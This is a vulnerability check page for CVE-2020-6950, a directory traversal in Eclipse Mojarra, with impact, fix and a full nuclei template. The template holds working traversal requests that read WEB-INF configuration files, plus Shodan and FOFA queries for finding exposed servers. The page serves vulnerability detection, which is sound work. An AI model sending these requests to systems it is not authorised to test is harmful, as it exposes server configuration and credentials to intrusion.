Eclipse Mojarra - Local File Read

mediumseverity

6.5CVSS score

10.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.

Impact

Attackers can read arbitrary files from the server including configuration files and credentials, potentially leading to further exploitation and data exposure.

Fix

Upgrade to Eclipse Mojarra version 2.3.14 or later.

How to confirm it

Send: GET {{BaseURL}}/javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF ; GET {{BaseURL}}/javax.faces.resources/web.xml.jsf?con=/../../WEB-INF ; GET {{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF ; GET {{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF
Positive when: status_code == 200 and contains(header, "application/xml") and contains_all(body, "<web-app", "<servlet>") || contains_all(body, "<faces-config", "</faces-config>")

Run it with nuclei: nuclei -id CVE-2020-6950 -u <target>

The full check

id: CVE-2020-6950

info:
  name: Eclipse Mojarra - Local File Read
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.
  impact: |
    Attackers can read arbitrary files from the server including configuration files and credentials, potentially leading to further exploitation and data exposure.
  remediation: |
    Upgrade to Eclipse Mojarra version 2.3.14 or later.
  reference:
    - https://github.com/eclipse-ee4j/mojarra/commit/cefbb9447e7be560e59da2da6bd7cb93776f7741
    - https://github.com/eclipse-ee4j/mojarra/issues/4571
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6950
    - https://bugs.eclipse.org/bugs/show_bug.cgi?id=550943
    - https://www.oracle.com/security-alerts/cpuapr2022.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-6950
    cwe-id: CWE-22
    epss-score: 0.10124
    epss-percentile: 0.95685
    cpe: cpe:2.3:a:eclipse:mojarra:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: eclipse
    product: mojarra
    shodan-query:
      - html:"javax.faces.resource"
      - http.html:"javax.faces.viewstate"
      - http.html:"javax.faces.resource"
    fofa-query:
      - body="javax.faces.ViewState"
      - body="javax.faces.viewstate"
      - body="javax.faces.resource"
  tags: cve,cve2020,mojarra,lfi,eclipse,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF"
      - "{{BaseURL}}/javax.faces.resources/web.xml.jsf?con=/../../WEB-INF"
      - "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF"
      - "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/xml")'
          - 'contains_all(body, "<web-app", "<servlet>") || contains_all(body, "<faces-config", "</faces-config>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from